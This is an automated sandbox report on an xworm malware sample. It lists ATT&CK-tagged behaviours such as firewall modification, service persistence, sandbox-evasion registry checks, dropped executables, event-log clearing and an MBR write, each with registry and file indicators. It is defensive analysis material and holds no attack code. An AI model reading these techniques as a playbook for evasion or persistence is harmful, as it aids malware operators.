xworm | fc094a9cbf6b8e30b323d1b55d5b9a9a49c2d2ce34d48014540d00ea845fafe9

Disable or Modify System Firewall

T1562.004

pid	Process
4264	netsh.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	tpmspoof.exe
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	tpm spoof.exe

Executes dropped EXE 5 IoCs

pid	Process
5368	uobfi1o5.tfk.exe
1036	tpm spoof.exe
5728	Dominate.exe
3132	WindowsServices.exe
1160	BK933495.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\WindowsServices.exe	tpm spoof.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpm spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsServices.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

Checks SCSI registry key(s) 3 TTPs 24 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5596	timeout.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02mpjclbchhscumz	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={D97871C1-E953-4B54-BB60-715CF7303418}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02qpahtsfghitxmb\Reason = "2147750679"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02rsempgqheipkbq	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-312252282-3884318443-358092420-1000\02szeqoofuguaahk\DeviceId = "<Data><User username=\"02SZEQOOFUGUAAHK\"><HardwareInfo BoundTime=\"1776997406\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-312252282-3884318443-358092420-1000\02szeqoofuguaahk	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-312252282-3884318443-358092420-1000\02szeqoofuguaahk\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-312252282-3884318443-358092420-1000\02rsempgqheipkbq\AppIdList	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02mpjclbchhscumz"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02mpjclbchhscumz\DeviceId = "<Data LastUpdatedTime=\"1776997404\"><User username=\"02MPJCLBCHHSCUMZ\"/></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-312252282-3884318443-358092420-1000\02rsempgqheipkbq\Reason = "2147780641"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00188017E938AFA0"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02mpjclbchhscumz	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02mpjclbchhscumz\Provision Friday, April 24, 2026 03:23:23 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAOJBU0ME8KEmXkdLZeoetxQAAAAACAAAAAAAQZgAAAAEAACAAAABNt3MXCCSm4eZcs7Fn79lt7CHi2Zpuh9qIQjCxArXviAAAAAAOgAAAAAIAACAAAACgIRb+JKENE4hPxbKTf2fPpRZqSBp4jPnFi4DwjNx4liAAAABWZPXNkrinlpsorA6od53XTWJx4M9RzmN1X/xFoqli10AAAACyGqZ66M9qFq/L7Hlve5n47v9450AkaP6DZ5hMaomASdDd5gNLP/CyKO4ZaUgpRwsHKesZ+YWmA2Hc5/c5eLIw"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02mpjclbchhscumz\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00188017E938AFA0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-312252282-3884318443-358092420-1000\ValidDeviceId = "02szeqoofuguaahk"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02rsempgqheipkbq\Request Friday, April 24, 2026 03:23:24 = "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